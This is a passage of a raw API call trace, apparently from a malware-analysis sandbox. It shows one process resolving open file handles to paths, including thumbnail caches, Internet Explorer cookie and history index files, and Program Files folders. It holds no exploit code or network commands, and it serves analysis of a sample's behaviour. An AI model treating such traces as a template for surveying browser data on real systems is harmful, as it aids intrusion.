lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0060.547] CloseHandle (hObject=0x128) returned 1 [0060.548] GetFileType (hFile=0xc4) returned 0x1 [0060.548] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msutb.dll.mui") returned 0x2b [0060.549] CloseHandle (hObject=0xc4) returned 1 [0060.550] GetFileType (hFile=0x128) returned 0x1 [0060.550] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msctf.dll.mui") returned 0x2b [0060.551] CloseHandle (hObject=0x128) returned 1 [0060.551] GetFileType (hFile=0xc4) returned 0x1 [0060.552] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0060.553] CloseHandle (hObject=0xc4) returned 1 [0060.553] GetFileType (hFile=0x128) returned 0x1 [0060.554] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0060.556] CloseHandle (hObject=0x128) returned 1 [0060.556] GetFileType (hFile=0xc4) returned 0x1 [0060.557] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0060.558] CloseHandle (hObject=0xc4) returned 1 [0060.558] GetFileType (hFile=0x128) returned 0x1 [0060.558] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0060.560] CloseHandle (hObject=0x128) returned 1 [0060.560] GetFileType (hFile=0xc4) returned 0x1 [0060.560] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0060.562] CloseHandle (hObject=0xc4) returned 1 [0060.562] GetFileType (hFile=0x128) returned 0x1 [0060.563] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0060.565] CloseHandle (hObject=0x128) returned 1 [0060.565] GetFileType (hFile=0xc4) returned 0x1 [0060.565] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0060.567] CloseHandle (hObject=0xc4) returned 1 [0060.567] GetFileType (hFile=0x128) returned 0x1 [0060.567] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0060.569] CloseHandle (hObject=0x128) returned 1 [0060.569] GetFileType (hFile=0xc4) returned 0x1 [0060.569] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0060.571] CloseHandle (hObject=0xc4) returned 1 [0060.571] GetFileType (hFile=0x128) returned 0x1 [0060.572] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0060.574] CloseHandle (hObject=0x128) returned 1 [0060.574] GetFileType (hFile=0xc4) returned 0x1 [0060.574] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0060.576] CloseHandle (hObject=0xc4) returned 1 [0060.576] GetFileType (hFile=0x128) returned 0x1 [0060.576] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0060.578] CloseHandle (hObject=0x128) returned 1 [0060.578] GetFileType (hFile=0xc4) returned 0x0 [0060.579] CloseHandle (hObject=0xc4) returned 1 [0060.579] GetFileType (hFile=0x128) returned 0x1 [0060.579] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0060.580] CloseHandle (hObject=0x128) returned 1 [0060.580] GetFileType (hFile=0xc4) returned 0x1 [0060.580] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 0x55 [0060.582] CloseHandle (hObject=0xc4) returned 1 [0060.583] GetFileType (hFile=0x128) returned 0x1 [0060.583] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 0x55 [0060.584] CloseHandle (hObject=0x128) returned 1 [0060.585] GetFileType (hFile=0xc4) returned 0x1 [0060.585] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0060.586] CloseHandle (hObject=0xc4) returned 1 [0060.586] GetFileType (hFile=0x128) returned 0x1 [0060.586] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\netshell.dll.mui") returned 0x2e [0060.683] CloseHandle (hObject=0x128) returned 1 [0060.683] GetFileType (hFile=0xc4) returned 0x1 [0060.683] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0060.685] CloseHandle (hObject=0xc4) returned 1 [0060.685] GetFileType (hFile=0x128) returned 0x1 [0060.686] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0060.688] CloseHandle (hObject=0x128) returned 1 [0060.688] GetFileType (hFile=0xc4) returned 0x0 [0060.688] CloseHandle (hObject=0xc4) returned 1 [0060.688] GetFileType (hFile=0x128) returned 0x1 [0060.688] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0060.690] CloseHandle (hObject=0x128) returned 1 [0060.690] GetFileType (hFile=0xc4) returned 0x1 [0060.690] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\KernelBase.dll.mui") returned 0x30 [0060.692] CloseHandle (hObject=0xc4) returned 1 [0060.692] GetFileType (hFile=0x128) returned 0x1 [0060.692] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0060.693] CloseHandle (hObject=0x128) returned 1 [0060.694] GetFileType (hFile=0xc4) returned 0x1 [0060.694] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0060.695] CloseHandle (hObject=0xc4) returned 1 [0060.695] GetFileType (hFile=0x128) returned 0x1 [0060.695] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0060.697] CloseHandle (hObject=0x128) returned 1 [0060.697] GetFileType (hFile=0xc4) returned 0x1 [0060.697] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0060.698] CloseHandle (hObject=0xc4) returned 1 [0060.698] GetFileType (hFile=0x128) returned 0x1 [0060.698] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0060.700] CloseHandle (hObject=0x128) returned 1 [0060.700] GetFileType (hFile=0xc4) returned 0x1 [0060.700] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251") returned 0x64 [0060.701] CloseHandle (hObject=0xc4) returned 1 [0060.701] GetFileType (hFile=0x128) returned 0x1 [0060.702] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt") returned 0x4b [0060.704] CloseHandle (hObject=0x128) returned 1 [0060.704] GetFileType (hFile=0xc4) returned 0x1 [0060.704] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0060.705] CloseHandle (hObject=0xc4) returned 1 [0060.706] GetFileType (hFile=0x128) returned 0x1 [0060.706] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat") returned 0x70 [0060.709] CloseHandle (hObject=0x128) returned 1 [0060.709] GetFileType (hFile=0xc4) returned 0x1 [0060.709] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0060.710] CloseHandle (hObject=0xc4) returned 1 [0060.710] GetFileType (hFile=0x128) returned 0x3 [0060.710] CloseHandle (hObject=0x128) returned 1 [0060.711] GetFileType (hFile=0xc4) returned 0x3 [0060.711] CloseHandle (hObject=0xc4) returned 1 [0060.711] GetFileType (hFile=0x128) returned 0x1 [0060.711] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0060.713] CloseHandle (hObject=0x128) returned 1 [0060.713] GetFileType (hFile=0xc4) returned 0x1 [0060.713] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0060.715] CloseHandle (hObject=0xc4) returned 1 [0060.716] GetFileType (hFile=0x128) returned 0x1 [0060.716] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0060.718] CloseHandle (hObject=0x128) returned 1 [0060.718] GetFileType (hFile=0xc4) returned 0x1 [0060.718] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0060.720] CloseHandle (hObject=0xc4) returned 1 [0060.720] GetFileType (hFile=0x128) returned 0x1 [0060.720] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0060.722] CloseHandle (hObject=0x128) returned 1 [0060.723] GetFileType (hFile=0xc4) returned 0x1 [0060.723] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0060.725] CloseHandle (hObject=0xc4) returned 1 [0060.725] GetFileType (hFile=0x128) returned 0x1 [0060.725] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0060.727] CloseHandle (hObject=0x128) returned 1 [0060.727] GetFileType (hFile=0xc4) returned 0x1 [0060.727] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0060.826] CloseHandle (hObject=0xc4) returned 1 [0060.826] GetFileType (hFile=0x128) returned 0x1 [0060.826] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0060.828] CloseHandle (hObject=0x128) returned 1 [0060.828] GetFileType (hFile=0xc4) returned 0x1 [0060.829] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0060.831] CloseHandle (hObject=0xc4) returned 1 [0060.831] GetFileType (hFile=0x128) returned 0x1 [0060.831] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0060.833] CloseHandle (hObject=0x128) returned 1 [0060.833] GetFileType (hFile=0xc4) returned 0x3 [0060.834] CloseHandle (hObject=0xc4) returned 1 [0060.834] GetFileType (hFile=0x128) returned 0x1 [0060.834] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0060.836] CloseHandle (hObject=0x128) returned 1 [0060.836] GetFileType (hFile=0xc4) returned 0x1 [0060.836] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat") returned 0x55 [0060.862] CloseHandle (hObject=0xc4) returned 1 [0060.862] GetFileType (hFile=0x128) returned 0x1 [0060.863] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat") returned 0x5f [0060.867] CloseHandle (hObject=0x128) returned 1 [0060.867] GetFileType (hFile=0xc4) returned 0x1 [0060.868] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012020022120200222\\index.dat") returned 0x78 [0060.871] CloseHandle (hObject=0xc4) returned 1 [0060.871] GetFileType (hFile=0x128) returned 0x1 [0060.871] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0060.873] CloseHandle (hObject=0x128) returned 1 [0060.873] GetFileType (hFile=0xc4) returned 0x0 [0060.873] CloseHandle (hObject=0xc4) returned 1 [0060.873] GetFileType (hFile=0x128) returned 0x0 [0060.873] CloseHandle (hObject=0x128) returned 1 [0060.874] GetFileType (hFile=0xc4) returned 0x1 [0060.874] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\KernelBase.dll.mui") returned 0x30 [0060.875] CloseHandle (hObject=0xc4) returned 1 [0060.876] GetFileType (hFile=0x128) returned 0x1 [0060.876] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msutb.dll.mui") returned 0x2b [0060.877] CloseHandle (hObject=0x128) returned 1 [0060.877] GetFileType (hFile=0xc4) returned 0x3 [0060.878] CloseHandle (hObject=0xc4) returned 1 [0060.878] GetFileType (hFile=0x128) returned 0x1 [0060.878] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0060.879] CloseHandle (hObject=0x128) returned 1 [0060.879] GetFileType (hFile=0xc4) returned 0x0 [0060.879] CloseHandle (hObject=0xc4) returned 1 [0060.879] GetFileType (hFile=0x128) returned 0x1 [0060.880] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0060.881] CloseHandle (hObject=0x128) returned 1 [0060.881] GetFileType (hFile=0xc4) returned 0x1 [0060.881] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Journal") returned 0x24 [0060.882] CloseHandle (hObject=0xc4) returned 1 [0060.882] GetFileType (hFile=0x128) returned 0x1 [0060.882] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0060.883] CloseHandle (hObject=0x128) returned 1 [0060.950] GetFileType (hFile=0xc4) returned 0x1 [0060.951] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Uninstall Information") returned 0x2a [0060.952] CloseHandle (hObject=0xc4) returned 1 [0060.952] GetFileType (hFile=0x128) returned 0x1 [0060.952] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0060.953] CloseHandle (hObject=0x128) returned 1 [0060.953] GetFileType (hFile=0xc4) returned 0x1 [0060.953] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Sidebar") returned 0x24 [0060.954] CloseHandle (hObject=0xc4) returned 1 [0060.955] GetFileType (hFile=0x128) returned 0x1 [0060.955] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0060.956] CloseHandle (hObject=0x128) returned 1 [0060.956] GetFileType (hFile=0xc4) returned 0x1 [0060.956] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Sidebar") returned 0x24 [0060.957] CloseHandle (hObject=0xc4) returned 1 [0060.957] GetFileType (hFile=0x128) returned 0x1 [0060.957] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0060.958] CloseHandle (hObject=0x128) returned 1 [0060.959] GetFileType (hFile=0xc4) returned 0x1 [0060.959] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0060.960] CloseHandle (hObject=0xc4) returned 1 [0060.960] GetFileType (hFile=0x128) returned 0x1 [0060.960] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0060.961] CloseHandle (hObject=0x128) returned 1 [0060.961] GetFileType (hFile=0xc4) returned 0x1 [0060.962] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Media Player") returned 0x29 [0060.963] CloseHandle (hObject=0xc4) returned 1 [0060.963] GetFileType (hFile=0x128) returned 0x1 [0060.963] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0060.964] CloseHandle (hObject=0x128) returned 1 [0060.964] GetFileType (hFile=0xc4) returned 0x1 [0060.964] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\DVD Maker") returned 0x1e [0060.965] CloseHandle (hObject=0xc4) returned 1 [0060.965] GetFileType (hFile=0x128) returned 0x1 [0060.966] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0060.967] CloseHandle (hObject=0x128) returned 1 [0060.967] GetFileType (hFile=0xc4) returned 0x1 [0060.967] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Analysis Services") returned 0x36 [0060.968] CloseHandle (hObject=0xc4) returned 1 [0060.968] GetFileType (hFile=0x128) returned 0x1 [0060.968] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0060.969] CloseHandle (hObject=0x128) returned 1 [0060.970] GetFileType (hFile=0xc4) returned 0x1 [0060.970] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Journal") returned 0x24 [0060.971] CloseHandle (hObject=0xc4) returned 1 [0060.971] GetFileType (hFile=0x128) returned 0x1 [0060.971] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0060.972] CloseHandle (hObject=0x128) returned 1 [0060.972] GetFileType (hFile=0xc4) returned 0x1 [0060.973] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies") returned 0x2f [0060.974] CloseHandle (hObject=0xc4) returned 1 [0060.974] GetFileType (hFile=0x128) returned 0x1 [0060.974] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0060.975] CloseHandle (hObject=0x128) returned 1 [0060.975] GetFileType (hFile=0xc4) returned 0x1 [0060.975] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Maintenance Service") returned 0x36 [0060.976] CloseHandle (hObject=0xc4) returned 1 [0060.976] GetFileType (hFile=0x128) returned 0x1 [0060.976] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0060.977] CloseHandle (hObject=0x128) returned 1 [0060.978] GetFileType (hFile=0xc4) returned 0x1 [0060.978] GetFinalPathNameByHandleW (in: hFile=0xc4, lpszFilePath=0x657c270, cchFilePath=0x400, dwFlags=0x0 | out: 